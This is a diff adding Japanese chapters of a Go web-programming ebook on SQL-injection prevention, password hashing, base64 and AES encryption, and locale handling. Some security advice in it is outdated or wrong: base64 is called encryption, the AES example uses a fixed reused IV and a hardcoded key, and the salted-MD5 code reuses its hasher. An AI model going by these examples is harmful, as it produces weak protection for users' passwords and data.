データベースに入ってくる特殊文字('"\角括弧&*;等)に対してエスケープ処理を行う。またはエンコードする。Goの`text/template`パッケージには`HTMLEscapeString`関数があり、文字列に対してエスケープ処理を行うことができます。 +4. すべての検索クエリにはなるべくデータベースが提供するパラメータ化検索インターフェースを使用する。パラメータ化されたクエリはパラメータを使用し、ユーザが入力した変数をSQLクエリに埋め込みません。すなわち、直接SQLクエリを組み立てないということです。例えば`database/sql`の検索関数`Prepare`と`Query`を使ったり、`Exec(query string, args ...interface{})`を使います。 +5. アプリケーションをデプロイする前になるべく専門のSQLインジェクション検査ツールを使って検査を行い、発見されたSQLインジェクションセキュリティホールにはすぐにパッチをあてる。ネット上ではこの方面のオープンソースツールがたくさんあります。例えばsqlmap、SQLninja等です。 +6. ページがSQLのエラー情報を出力するのを避ける。例えば型のエラー、フィールドのミスマッチ等です。コードのSQLクエリが暴露されることで攻撃者がこれらのエラー情報を利用してSQLインジェクションを行うのを防ぎます。 + +## 概要 +上の例によってSQLインジェクションは被害が相当大きいセキュリティホールであるとわかりました。そのため我々が通常書くWebアプリケーションに対してはどのような小さな事でも非常に重視する必要があります。小さな事が命運を分けます。生活も同じ、Webアプリケーションを書くことも同じです。 + +## links + * [目次]() + * 前へ: [XSS攻撃の回避](<09.3.md>) + * 次へ: [パスワードの保存](<09.5.md>) diff --git a/ja/ebook/09.5.md b/ja/ebook/09.5.md new file mode 100644 index 00000000..2e76ad96 --- /dev/null +++ b/ja/ebook/09.5.md @@ -0,0 +1,89 @@ +# 9.5 パスワードの保存 +ほんの少し前から、多くのページにおいてユーザのパスワードが漏洩する事件が発生しています。これにはトップレベルのインターネット企業が含まれます - Linkdin, 国内ではCSDNの事件が国内のインターネット上を駆け巡りました。また多玩遊戯の800万のユーザデータが漏洩しました。また人人網、開心網、天涯社区、世紀佳縁、百合網といったコミュニティもハッカーの次の目標になったと噂されています。尽きることのない似たような事件がユーザのネット生活に巨大な影響を与えています。人々は自衛し、人々は往々にして異なるウェブサイトで同じパスワードを使用することに慣れてしまっていますから、一箇所でデータベースが暴かれてしまうとすべてに影響がでます。 + +Webアプリケーションの開発者として、パスワードの保存方法を選択する際はどのような罠に陥りがちになるのでしょうか。またどのようにしてこれらの罠を回避すべきでしょうか? + +## 普通の方法 +現在最も多く使用されているパスワードの保存方法は平文のパスワードを単方向ハッシュにかけて保存するものです。単方向ハッシュアルゴリズムの特徴は:ハッシュされたあとのダイジェスト(digest)からはオリジナルのデータを復元することができないということです。これが"単方向"であるということの所以です。よく使われる単方向ハッシュアルゴリズムにはSHA-256、SHA-1、MD5等があります。 + +Go言語のこの三種類の暗号化アルゴリズムの実装は以下の通り: + + //import "crypto/sha256" + h := sha256.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/sha1" + h := sha1.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/md5" + h := md5.New() + io.WriteString(h, "暗号化する必要のあるパスワード") + fmt.Printf("%x", h.Sum(nil)) + +単方向ハッシュには2つの特徴があります: + +- 1)同じパスワードを単方向ハッシュにかけると、いつでもユニークな確定したダイジェストを得ます。 +- 2)速い計算速度。技術の進歩により、現在は一秒間に数十億回の単方向ハッシュ計算が可能です。 + +上の2つの特徴を総合して、多数の人間が使用するパスワードをよくあるセットとして考えると、攻撃者はすべてのパスワードのよくあるセットに対して単方向ハッシュをかけることで、ダイジェストのセット得ることができます。その後データベースの中のダイジェストと比較することで対応するパスワードを取得することができます。このダイジェストのセットを`rainbow table`と呼びます。 + +そのため、単方向暗号化を行ったあとに保存されたデータは平文で保存されるのとあまり違いはありません。ですので一旦ウェブサイトのデータベースが漏洩すると、すべてのユーザのパスワード自身が白日のもとに晒されることになります。 +## よりよい方法 +上ではハッカーが`rainbow table`を使用することでハッシュされたパスワードをクラックできるとご紹介しました。大抵の場合は暗号化時に使用されたハッシュアルゴリズムが公開されているものであることが原因です。もしハッカーが暗号化のハッシュアルゴリズムが何かを知らなければ、どこから手をつけてよいかわかりません。 + +直接的な解決方法の一つは、自分でハッシュアルゴリズムをデザインすることです。しかしながら、優良なハッシュアルゴリズムはとてもデザインが難しいのです- - 衝突を避けなければなりませんし、分かりやすいルールであってもいけません。この2つを満たすのは想像よりもずっと困難です。そのため、実際のアプリケーションでは既存のハッシュアルゴリズムを利用して複数回ハッシュすることが行われます。 + +しかし単純な複数回ハッシュでは、ハッカーを止めることはできません。二回のMD5や三回のMD5といった我々でも思いつく方法は、ハッカーも当然思いつきます。特にいくつかのオープンソースに対しては、このようなハッシュは直接アルゴリズムをハッカーに告げているのと同じことです。 + +破られない盾はありません。しかし折れない矛もまたありません。現在セキュリティが比較的優秀なウェブサイトはいずれも"ソルト"とよばれる方法によってパスワードを保存しています。よく言われる"salt"のことです。彼らの通常の方法はまずユーザが入力したパスワードに対してMD5(または他のハッシュアルゴリズム)で一度暗号化します。得られたMD5の値の前後に管理者自身だけが知っているランダムな文字列を追加して、再度MD5で暗号化します。このランダムな文字列にはなんらかの一定の文字列が含まれていてもかまいません。ユーザ名が含まれていてもかまいません。(各ユーザの暗号化に使用された秘密鍵が一致しないことを保証するために使用します)。 + + //import "crypto/md5" + //ユーザ名をabc、パスワードを123456とします + h := md5.New() + io.WriteString(h, "暗号化が必要なパスワード") + + //pwmd5はe10adc3949ba59abbe56e057f20f883eです。 + pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) + + //saltを2つ指定します: salt1 = @#$% salt2 = ^&*() + salt1 := "@#$%" + salt2 := "^&*()" + + //salt1+ユーザ名+salt2+MD5を連結します。 + io.WriteString(h, salt1) + io.WriteString(h, "abc") + io.WriteString(h, salt2) + io.WriteString(h, pwmd5) + + last :=fmt.Sprintf("%x", h.Sum(nil)) + +2つのsaltが漏洩していなければ、ハッカーはもし最後のこの暗号化された文字列を手に入れてもオリジナルのパスワードが何だったのか推測するのはほとんど不可能です。 + +## 専門的な方法 +上の"よりよい方法"は数年前には十分安全な方法であったかもしれません。攻撃者はこれほど多くの`rainbow table`を作成するだけの十分なリソースが無かったためです。しかし、今日に至っては並列計算能力の向上によりこのような攻撃はすでにまったくもって可能です。 + +どうやってこの問題解決するのでしょうか?時間とリソースが許せば、クラックできないパスワードはありません。ですので方法は:故意にパスワードの計算に必要となるリソースと時間を増加させることによって、誰にも`rainbow table`を作成するのに必要となるリソースを与えないようにするのです。 + +この方法にはひとつの特徴があります。アルゴリズムにはどれも因子があります。パスワードのダイジェストを計算するのに必要となるリソースと時間を説明するのに使われ、計算強度でもあります。計算強度が大きければ大きいほど、攻撃者が`rainbow table`を作成するのが困難になり、ついには継続できなくなります。 + +ここでは`scrypt`の方法をおすすめしましょう。scryptは有名なFreeBSDハッカーであるColin Percivalが彼の予備のサービスとしてTarsnapで開発しました。 + +現在Go言語でサポートされているライブラリhttp://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt + + dk := scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) + +上の方法によってユニークな対応するパスワードの値を取得することができます。これは現在までもっともクラックが難しいものです。 + +## 概要 +ここまででもしあなたに危機感が芽生えたのだとすれば、行動すべきです: + +- 1)もし普通のユーザであれば、LastPassによってパスワードを保存/生成するのをおすすめします。異なるサイトで異なるパスワードを使用します。 +- 2)もしデベロッパであれば、専門的な方法でパスワードを保存するよう強くおすすめします。 + +## links + * [目次]() + * 前へ: [入力のフィルタリングを確実に行う](<09.4.md>) + * 次へ: [データを暗号化/復元する](<09.6.md>) diff --git a/ja/ebook/09.6.md b/ja/ebook/09.6.md new file mode 100644 index 00000000..4211fd0a --- /dev/null +++ b/ja/ebook/09.6.md @@ -0,0 +1,122 @@ +# 9.6 データを暗号化/復元する +前の節でどのようにしてパスワードを保存するかご紹介しました。しかしあるときには、慎重に扱うべきデータを暗号化して保存し、将来のあるときにいつでもそれらを復元したい場合があります。この時双方向暗号化アルゴリズムを使って我々の要求を満たさなければなりません。 + +## base64で暗号化/復元する +もしWebアプリケーションが十分に簡単であれば、データのセキュリティにはそれほど厳格な要求があるわけではありません。ですので比較的簡単な暗号化である`base64`を採用することができます。このような方法は実装するのが比較的簡単で、Go言語の`base64`パッケージではすでにこれをよくサポートしています。下の例をご覧ください: + + package main + + import ( + "encoding/base64" + "fmt" + ) + + func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) + } + + func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) + } + + func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) + } + + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") + } + + fmt.Println(string(enbyte)) + } + + +## 高度な暗号化/復元 + +Go言語の`crypto`では双方向暗号の高度な暗号化/復元パッケージがあります: + +- `crypto/aes`パッケージ:AES(Advanced Encryption Standard)は、Rijndael暗号化アルゴリズムとも呼ばれます。アメリカの連邦政府が採用しているブロック暗号の標準の一つです。 +- `crypto/des`パッケージ:DES(Data Encryption Standard)は双方向暗号化標準のひとつです。これは現在秘密鍵のシステムに最も広く使用されています。特に金融データのセキュリティの保護で使われています。かつてアメリカ連邦政府の暗号化のスタンダードでしたがすでにAESにとってかわられています。 + +これら2つのアルゴリズムは使用方法が似ていますので、ここではaesパッケージだけを例にこの使用を解説します。下の例をご覧ください + + package main + + import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" + ) + + var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + + func main() { + //暗号化したい文字列 + plaintext := []byte("My name is Astaxie") + //暗号化された文字列を渡すと、plaintは渡された文字列になります。 + if len(os.Args) > 1 { + plaintext = []byte(os.Args[1]) + } + + //aesの暗号化文字列 + key_text := "astaxie12798akljzmknm.ahkjkljl;k" + if len(os.Args) > 2 { + key_text = os.Args[2] + } + + fmt.Println(len(key_text)) + + // 暗号化アルゴリズムaesを作成 + c, err := aes.NewCipher([]byte(key_text)) + if err != nil { + fmt.Printf("Error: NewCipher(%d bytes) = %s", len(key_text), err) + os.Exit(-1) + } + + //暗号化文字列 + cfb := cipher.NewCFBEncrypter(c, commonIV) + ciphertext := make([]byte, len(plaintext)) + cfb.XORKeyStream(ciphertext, plaintext) + fmt.Printf("%s=>%x\n", plaintext, ciphertext) + + // 復元文字列 + cfbdec := cipher.NewCFBDecrypter(c, commonIV) + plaintextCopy := make([]byte, len(plaintext)) + cfbdec.XORKeyStream(plaintextCopy, ciphertext) + fmt.Printf("%x=>%s\n", ciphertext, plaintextCopy) + } + + +上では`aes.NewCipher`(引数keyはかならず16、24または32桁の[]byteとなります。それぞれAES-128, AES-192とAES-256アルゴリズムに対応します。)関数をコールすると`cipher.Block`インターフェースを返します。このインターフェースは3つの機能を実現します: + + type Block interface { + // BlockSize returns the cipher's block size. + BlockSize() int + + // Encrypt encrypts the first block in src into dst. + // Dst and src may point at the same memory. + Encrypt(dst, src []byte) + + // Decrypt decrypts the first block in src into dst. + // Dst and src may point at the same memory. + Decrypt(dst, src []byte) + } + +この3つの関数は暗号化/復元操作を実現します。詳細な操作は上の例をご覧ください。 + +## 概要 +この節ではいくつかの暗号化/復元アルゴリズムをご紹介しました。Webアプリケーションを開発している時は要求に合わせて異なる方法によって暗号化/複合を行うことができます。一般的なアプリケーションではbase64アルゴリズムを採用することができます。より高度な場合はaesやdesアルゴリズムを採用することができます。 + + +## links + * [目次]() + * 前へ: [パスワードの保存](<09.5.md>) + * 次へ: [概要](<09.7.md>) diff --git a/ja/ebook/09.7.md b/ja/ebook/09.7.md new file mode 100644 index 00000000..07c77fd1 --- /dev/null +++ b/ja/ebook/09.7.md @@ -0,0 +1,9 @@ +# 9.7 概要 +この章ではCSRF攻撃、XSS攻撃、SQLインジェクション攻撃といったWebアプリケーションの典型的な攻撃手法をご紹介しました。これらはどれもアプリケーションがユーザの入力に対して良いフィルタリングを起こさなかったことによるものです。そのため、攻撃の方法をご紹介する以外に、これらの攻撃の発生を防止する方法としてどのようにして有効にデータをフィルタリングするかについてもご紹介しました。また、日増しに発生する重大なパスワード漏洩事件に対し、Webアプリケーションを設計する上で採用可能な暗号化ソリューションについて基礎から専門的なものまでご紹介しました。最後に慎重に扱うべきデータに対する暗号化/復元をご紹介しました。Go言語では三種類の双方向暗号化アルゴリズムを提供しています:base64、aesとdesの実装です。 + +この章を書いた目的は読者の意識でセキュリティの概念を強化して欲しいと思ったからです。Webアプリケーションを書く時はぜひご注意していただき、我々が書くWebアプリケーションをハッカー達の攻撃から遠ざけるようにしてください。これらのパッケージを十分に利用することで、安全なWebアプリケーションを作ることができます。 + +## links + * [目次]() + * 前へ: [データの暗号化/復元](<09.6.md>) + * 次へ: [国際化とローカライズ](<10.0.md>) diff --git a/ja/ebook/10.0.md b/ja/ebook/10.0.md new file mode 100644 index 00000000..f0f34cb0 --- /dev/null +++ b/ja/ebook/10.0.md @@ -0,0 +1,25 @@ +# 10 国際化とローカライズ +経済のグローバル化に対応する為、開発者として、多言語、国際化をサポートするWebアプリケーションを開発する必要があります。すなわち、同じページに異なる言語環境下で異なる効果を表示させる必要があります。つまりアプリケーションプログラムが実行される際リクエストの発信元の地域と言語の違いによって異なるユーザ・インターフェースを表示できなければなりません。このように、アプリケーション・プログラムにおいて新しい言語の追加をサポートする時、アプリケーションプログラムのコードの修正を必要とせずとも、言語パッケージを追加するだけで実現することができます。 + +国際化とローカライズ(Internationalization and localization,通常はi18nとL10Nによって表現されます)、国際化とは、ある地域に対してデザインされたプログラムを再構築するということです。それによりその他の多くの地域でも使用できるようにします。ローカライズとは国際化を睨んだプログラムにおいて新しい地域に対するサポートを追加することを指します。 + +現在、Go言語の標準パッケージではi18nのサポートは提供されておりません。しかし、比較的簡単なサードパーティの実装があります。この章ではgo-i18nライブラリを実装し、Go言語のi18nをサポートすることにします。 + +いわゆる国際化とは:特定のlocal情報に従って、これに対応する文字列またはそのたの物(たとえば時間や通貨のフォーマットです)を取り出すといったことです。これには3つの問題があります: + +1、どのようにしてlocaleを確定するのか。 + +2、どのようにしてlocaleに対応した文字列またはその他の情報を保存するのか。 + +3、どのようにしてlocaleに沿って文字列とその他対応する情報を取り出すのか。 + +この節ではどのようにして正しいlocaleを設定し、アクセスしたサイトのユーザにその言語に対応するページを取得させるようにできるかをご紹介します。第二節ではどのようにして文字列、通貨、日時といったlocaleに対応した情報を処理または保存するのかについてご紹介します。第三節ではサイトの国際化をどのように実現するのかについてご紹介します。すなわち、どのようにして異なるlocaleに対してふさわしいコンテンツを返すかということです。この3つの節を学習することで、完全なi18nソリューションを得ることができます。 + +## 目次 + + ![](images/navi10.png?raw=true) + +## links + * [目次]() + * 前へ: [第九章概要](<09.7.md>) + * 次へ: [デフォルトロケールの設定](<10.1.md>) diff --git a/ja/ebook/10.1.md b/ja/ebook/10.1.md new file mode 100644 index 00000000..2d773311 --- /dev/null +++ b/ja/ebook/10.1.md @@ -0,0 +1,85 @@ +# 10.1 デフォルトロケールの設定 +## Localeとは何か +Localeとは世界中のある特定の地域を表現したテキスト形式と言語習慣の設定のセットです。locale名は通常3つの部分から構成されます:第一部分は強制的なもので、言語の省略を表します。例えば"en"は英文を表し、"zh"は中文を表します。第二部分はアンダースコアを一つ置いてオプションとなる国の説明記号が入ります。同じ言語の異なる国を区別するために用いられます。例えば"en_US"はアメリカ英語を表し、"en_UK"はイギリス英語を表します。最後の部分はピリオドを挟んでオプションとなる文字符号化方式の説明記号となります。例えば"zh_CN.gb2312"は中国で使用されるgb2312符号化方式を表します。 + +GO言語はデフォルトで"UTF-8"符号化方式を採用しています。ですので、i18nを実装する際3つ目の部分は考慮しません。以降ではlocaleが表現する前の2つの部分でもってi18n標準のlocale名とします。 + + +>LinuxとSolarisシステムでは`locale -a`コマンドを使ってサポートされるすべての地域名をリストアップすることができます。読者はこれらの地域名の命名規則を見ることができます。BSDといったシステムではlocaleコマンドはありません。しかし地域情報は/usr/share/localeに保存されています。 + +## Localeを設定 +上のlocaleに対する定義で、ユーザの情報(アクセス情報、個人情報、アクセスしたドメイン名等)に従ってこれに対応するlocaleを設定する必要があります。以下のいくつかの方法を使ってユーザのlocaleを設定することができます。 + +### ドメイン名によってLocaleを設定 +Localeの設定にはアプリケーションが実行される際のドメインによって区別する方法があります。例えば、www.asta.comを我々の英語のサイト(デフォルトサイト)として、www.asta.cnというドメイン名を中国語のサイトとしたとします。この場合アプリケーションではドメイン名と対応するlocaleの対応関係を設定することで地域を設定sるうことができます。このような処理にはいくつかのメリットがあります: + +- URLを見るだけで簡単に識別できる +- ユーザはドメイン名を通して直感的にどの言語のサイトに訪問するか知ることができる。 +- Goプログラムでは実装が非常に簡単で便利。mapを一つ使うだけで実現できる。 +- サーチエンジンのクローリングに有利。サイトのSEOを高めることができる。 + +下のコードによってドメイン名の対応するlocaleを実現できます: + + if r.Host == "www.asta.com" { + i18n.SetLocale("en") + } else if r.Host == "www.asta.cn" { + i18n.SetLocale("zh-CN") + } else if r.Host == "www.asta.tw" { + i18n.SetLocale("zh-TW") + } + +当然全体のドメイン名で地域を設定する以外に、サブドメインによって地域を設定することもできます。例えば"en.asta.com"が英語のサイトを表し、"cn.asta.com"が中文のサイトを表します。実装するコードは以下の通り: + + prefix := strings.Split(r.Host,".") + + if prefix[0] == "en" { + i18n.SetLocale("en") + } else if prefix[0] == "cn" { + i18n.SetLocale("zh-CN") + } else if prefix[0] == "tw" { + i18n.SetLocale("zh-TW") + } + +ドメイン名によるLocaleの設定は上で示したようなメリットがあります。しかし一般的にWebアプリケーションを開発する場合このような方法は採用されません。なぜならまずドメインはコストが比較的高く、Localeを一つ開発するのに一つドメイン名を必要とするからです。また、往々にして統一されたドメイン名を申請できるかどうか分かりません。次に各サイトに対してローカライズというひとつの設定を行いたくなく、urlの後にパラメータを追加する方法が採用されがちです。下のご紹介をご覧ください。 + +### ドメインのパラメータからLocaleを設定 +現在最もよく使われるLocaleの設定方法はURLにパラメータを追加することです。例えばwww.asta.com/hello?locale=zhまたはwww.asta.com/zh/helloといった具合に。このようにすることで地域を設定することができます:`i18n.SetLocale(params["locale"])`。 + +このような設定方法は前に述べたドメインによるLocaleの設定のすべてのメリットをほとんど持ちあわせています。これはRESTfulな方法を採用しており、余計な方法を追加することで処理する必要がありません。しかしこのような方法では各linkにおいて対応するパラメータlocaleを追加する必要があり、すこし複雑でかなりめんどくさい場合もあります。しかし共通の関数urlを書くことですべてのlinkアドレスをこの関数を通して生成することができます。この関数では`locale=params["locale"]`パラメータを追加することでめんどくささを和らげます。 + +URLアドレスをもっとRESTfulな見た目にしたいと思うかもしれません。例えば:www.asta.com/en/books(英語のサイト)とwww.asta.com/zh/books(中国語のサイト)。このような方法のURLはさらにSEOに効果的です。またユーザビリティもよく、URLから直感的にアクセスしているサイトを知ることができます。このようなURLアドレスはrouterを使ってlocaleを取得します(RESTの節でご紹介したrouterプラグインの実装をご参考ください): + + mux.Get("/:locale/books", listbook) + +### クライアントからロケールを設定 +ある特殊な状況下では、URLによってではなくクライアントの情報からLocaleを設定する必要があります。これらの情報はクライアントで設定された言語(ブラウザで設定されています)やユーザのIPアドレス、ユーザが登録した時に入力した所在地情報などからきているかもしれません。これらの方法はWebを基礎とするアプリケーションに比較的合っています。 + +- Accept-Language + +クライアントがリクエストした時HTTPヘッダ情報には`Accept-Language`があります。一般のクライアントはこの情報を設定しています。以下はGo言語で実装した`Accept-Languge`にしたがってロケールを設定する簡単なコードです: + + AL := r.Header.Get("Accept-Language") + if AL == "en" { + i18n.SetLocale("en") + } else if AL == "zh-CN" { + i18n.SetLocale("zh-CN") + } else if AL == "zh-TW" { + i18n.SetLocale("zh-TW") + } + +当然実際のアプリケーションでは、より厳格に判断することでロケールの設定を行う必要があるかもしれません +- IPアドレス + + もうひとつクライアントからロケールを設定する方法はユーザアクセスのIPです。対応するIPライブラリによって対応するアクセスIPをロケールにします。現在世界中で比較的よく使われているのはGeoIP Lite Countryというライブラリです。このようなロケール設定のメカニズムは非常に簡単で、IPデータベースでユーザのIPを検索するだけで国と地域が返ってきます。返された結果にしたがって対応するロケールを設定します。 + +- ユーザprofile + + 当然ユーザにあなたが提供するセレクトボックスや他の何らかの方法で対応するlocaleを設定させることもできます。ユーザの入力した情報を、このアカウントに関連するprofileに保存し、ユーザが再度ログインした時にこの設定をlocale設定にコピーします。これによってこのユーザの毎回のアクセスで自分が以前に設定したlocaleをもとにページを取得するよう保証することができます。 + +## 概要 +上のご紹介から、Localeの設定にはいくつもの方法があるとわかりました。要求の違いによって異なるLocaleの設定方法を選択する必要があります。ユーザが最もよく知る方法で我々が提供するサービスを得る事で、アプリケーションのユーザビリティを高めます。 + +## links + * [目次]() + * 前へ: [国際化とローカライズ](<10.0.md>) + * 次へ: [ローカライズリソース](<10.2.md>) diff --git a/ja/ebook/10.2.md b/ja/ebook/10.2.md new file mode 100644 index 00000000..f302f9d6 --- /dev/null +++ b/ja/ebook/10.2.md @@ -0,0 +1,134 @@ +# 10.2 ローカライズリソース +前の節ではどのようにしてLocaleを設定するかご紹介しました。Localeを設定したあとはどのようにしてLocaleに対応する情報を保存するかという問題を解決する必要があります。ここでの情報とは以下の内容を含みます:テキスト情報、時間と日時、通貨の値、画像、ファイルや動画といったリソース等です。ここではこれらの情報に対してご紹介していきたいと思います。Go言語ではこれらのフォーマットの情報をJSONに保存します。その後それぞれ適した方法によって表示します。(以下では日本語と英語の2つの言語を対比して例を挙げます。保存の形式はそれぞれen.jsonとja-JP.jsonです。) +## ローカライズテキスト情報 +この情報はWebアプリケーションを書く中で最も使われるもので、ローカライズリソースでも最も多い情報でもあります。ロケールの言語に合った方法でテキスト情報を表示したい場合、ひとつの方法としては必要となる言語に対応したmapを作成することでkey-valueの関係を維持するというものがあります。出力される前に最適なmapから対応するテキストを取り出します。以下は簡単な例です: + + package main + + import "fmt" + + var locales map[string]map[string]string + + func main() { + locales = make(map[string]map[string]string, 2) + en := make(map[string]string, 10) + en["pea"] = "pea" + en["bean"] = "bean" + locales["en"] = en + cn := make(map[string]string, 10) + cn["pea"] = "ピーナッツ" + cn["bean"] = "枝豆" + locales["ja-JP"] = cn + lang := "ja-JP" + fmt.Println(msg(lang, "pea")) + fmt.Println(msg(lang, "bean")) + } + + func msg(locale, key string) string { + if v, ok := locales[locale]; ok { + if v2, ok := v[key]; ok { + return v2 + } + } + return "" + } + + +上の例では異なるlocaleのテキストの翻訳を試みました。日本語と英語に対して同じkeyで異なる言語の実装を実現しています。上では中文のテキスト情報を実装しています。もし英語バージョンに切り替えたい場合は、lang設定をenにするだけです。 + +場合によってはkey-valueを切り替えるだけでは要求を満足できない場合があります。たとえば"I am 30 years old"といったような、日本語では"今年で30になります"となる場合、ここでの30は変数です。どうすればよいでしょうか?この時、`fmt.Printf`関数を組み合わせることで実装することができます。下のコードをご覧ください: + + en["how old"] ="I am %d years old" + cn["how old"] ="今年で%dになります" + + fmt.Printf(msg(lang, "how old"), 30) + +上のコード例では内部の実装方法を使用しただけで、実際のデータはJSONの中に保存されています。そのため、`json.Unmarshal`を使って対応するmapにデータを追加することができます。 + +## 日付と日時のローカライズ +タイムゾーンの関係で、同一時刻においても異なる地域でその表示は異なってきます。またLocaleの関係で、時間のフォーマットも全く異なってきます。例えば日本語の環境下では:`2013年 10月24日 水曜日 23時11分13秒 JST`となり、英語の環境下では`Wed Oct 24 23:11:13 CST 2012`のように表示されます。ここでは2つの項目を解決しなければなりません。 + +1. タイムゾーンの問題 +2. フォーマットの問題 + +$GOROOT/lib/timeパッケージのtimeinfo.zipにはlocaleに対応するタイムゾーンの定義が含まれています。対応する現在のlocaleの時間を取得するためには、まず`time.LoadLocation(name string)`を使用して対応するタイムゾーンのlocaleを取得します。例えば`Asia/Shanghai`または`America/Chicago`に対応するタイムゾーンデータです。その後、この情報を再利用し、`time.Now`をコールすることにより得られるTimeオブジェクトとあわせて最終的な時間を取得します。詳細は以下の例をご覧ください(この例では上のいくつかの変数を採用しています): + + en["time_zone"]="America/Chicago" + cn["time_zone"]="Asia/Tokyo" + + loc,_:=time.LoadLocation(msg(lang,"time_zone")) + t:=time.Now() + t = t.In(loc) + fmt.Println(t.Format(time.RFC3339)) + +本文形式を処理する似たような方法によって時間のフォーマットの問題を解決することができます。以下に例を挙げます: + + en["date_format"]="%Y-%m-%d %H:%M:%S" + cn["date_format"]="%Y年 %m月%d日 %H時%M分%S秒" + + fmt.Println(date(msg(lang,"date_format"),t)) + + func date(fomate string,t time.Time) string{ + year, month, day = t.Date() + hour, min, sec = t.Clock() + //対応する%Y %m %d %H %M %Sをパースして情報を返します + //%Y は2012に置換されます + //%m は10に置換されます + //%d は24に置換されます + } + +## 通過の値のローカライズ +各地域の通過の表示も異なります。処理方法も日時とあまり変わりありません。詳細は以下のコードをご覧ください: + + en["money"] ="USD %d" + cn["money"] ="¥%d円" + + fmt.Println(date(msg(lang,"date_format"),100)) + + func money_format(fomate string,money int64) string{ + return fmt.Sprintf(fomate,money) + } + + +## ビューとリソースのローカライズ +Localeの違いによってビューを表示させる場合もあるかもしれません。これらのビューには画像、css、jsといった各種静的なリソースが含まれています。ではこれらの情報をどのようにして処理すべきでしょうか?まずlocaleによってファイル情報を構成しなければなりません。下のディレクトリの構成をご覧ください: + + views + |--en //英語のテンプレート + |--images //画像情報を保存 + |--js //JSファイルを保存 + |--css //cssファイルを保存 + index.tpl //ユーザのトップページ + login.tpl //ログインのトップページ + |--ja-JP //日本語のテンプレート + |--images + |--js + |--css + index.tpl + login.tpl + +このディレクトリ構成があってはじめて以下のようなコードで実装することができます: + + + s1, _ := template.ParseFiles("views"+lang+"index.tpl") + VV.Lang=lang + s1.Execute(os.Stdout, VV) + +またindex.tplの中リソースの設定は以下のとおりです: + + // jsファイル + + // cssファイル + + // 画像ファイル + + +このような方法を採用することでビューとリソースをローカライズすると、用意に拡張を行うことができます。 + +## 概要 +この節ではどのようにしてローカライズリソースを使用し、保存するかご紹介しました。ある時は置換関数によって実装する必要があり、またある時はlangによって設定する必要があります。しかし最終的にはどれもkey-valueの方法によってLocaleに対応したデータを保存することになります。必要な時に対応するLocaleの情報を取り出して、もしそれがてkしうと情報であれば直接出力し、もし時間や日時または通過であった場合は`fmtPrintf`を使ったりその他のフォーマッタ関数によって処理する必要があります。異なるLocaleのビューとリソースに対しては最も簡単で、パスにlangを追加するだけで実装することができます。 + +## links + * [目次]() + * 前へ: [デフォルトロケールの設定](<10.1.md>) + * 次へ: [国際化サイト](<10.3.md>) diff --git a/ja/ebook/10.3.md b/ja/ebook/10.3.md new file mode 100644 index 00000000..d2cb6cb5 --- /dev/null +++ b/ja/ebook/10.3.md @@ -0,0 +1,180 @@ +# 10.3 国際化サイト +前の節でどのようにしてローカライズリソースを処理するかご紹介しました。Localeに対応した設定ファイルです。ではもし複数のローカライズリソースを処理する場合は?いくつかの我々が通常使用する例は:簡単なテキスト翻訳、時間や日時、数字といったものはどのように処理するのでしょうか?この節では一つ一つこれらの問題を解決していきます。 +## 複数のロケールパッケージの管理 +アプリケーションをひとつ開発する時、まず決めなければならないのは、一つの言語だけをサポートすればよいのか、それとも多言語をサポートするのかということです。もし複数の言語のサポートする必要があれば、ある組織構成を作成することで、将来より多くの言語を追加できるようにしなければなりません。ここでは以下のように設計します:Localeに関係のあるファイルをconfig/localesの下に配置し、もし日本語と英語をサポートしなければならない場合は、このディレクトリの下にen.jsonとja.jsonを配置する必要があります。だいたいの内容は以下の通り: + + # ja.json + + { + "ja": { + "submit": "送信", + "create": "作成" + } + } + + #en.json + + { + "en": { + "submit": "Submit", + "create": "Create" + } + } + +国際化をサポートするにあたって、ここでは国際化に関連したパッケージを使用することにします- - [go-i18n](https://github.com/astaxie/go-i18n)です。まずgo-i18nパッケージにconfig/localesのディレクトリを登録することで、すべてのlocaleファイルをロードします。 + + Tr:=i18n.NewLocale() + Tr.LoadPath("config/locales") + +このパッケージは非常に使いやすく、以下の方法によって試すことができます: + + fmt.Println(Tr.Translate("submit")) + //Submitを出力 + Tr.SetLocale("ja") + fmt.Println(Tr.Translate("submit")) + //"送信"を出力 + +## 自動的にロケールパッケージをロード +上ではどのようにして自動的にカスタムな言語パッケージをロードするかご紹介しました。実はgo-i18nライブラリはすでに多くのデフォルトのフォーマット情報をロードしています。たとえば時間フォーマット、通貨フォーマットです。ユーザはカスタムな設定を行う場合これらのデフォルトの設定を修正することができます。以下の処理プロセスをご覧ください: + + + //デフォルトの設定ファイルをロードします。これらのファイルはすべてgo-i18n/localesの下にあります。 + + //ファイルはそれぞれzh.json、en-json、en-US.json等と名前をつけます。より多くの言語を続けて拡張することができます。 + + func (il *IL) loadDefaultTranslations(dirPath string) error { + dir, err := os.Open(dirPath) + if err != nil { + return err + } + defer dir.Close() + + names, err := dir.Readdirnames(-1) + if err != nil { + return err + } + + for _, name := range names { + fullPath := path.Join(dirPath, name) + + fi, err := os.Stat(fullPath) + if err != nil { + return err + } + + if fi.IsDir() { + if err := il.loadTranslations(fullPath); err != nil { + return err + } + } else if locale := il.matchingLocaleFromFileName(name); locale != "" { + file, err := os.Open(fullPath) + if err != nil { + return err + } + defer file.Close() + + if err := il.loadTranslation(file, locale); err != nil { + return err + } + } + } + + return nil + } + +上の方法で設定ファイルをデフォルトのファイルにロードします。このようにカスタムな時間情報がない場合でも以下のようなコードで対応する情報を取得することができます: + + //locale=zhの状況で、以下のコードを実行: + + fmt.Println(Tr.Time(time.Now())) + 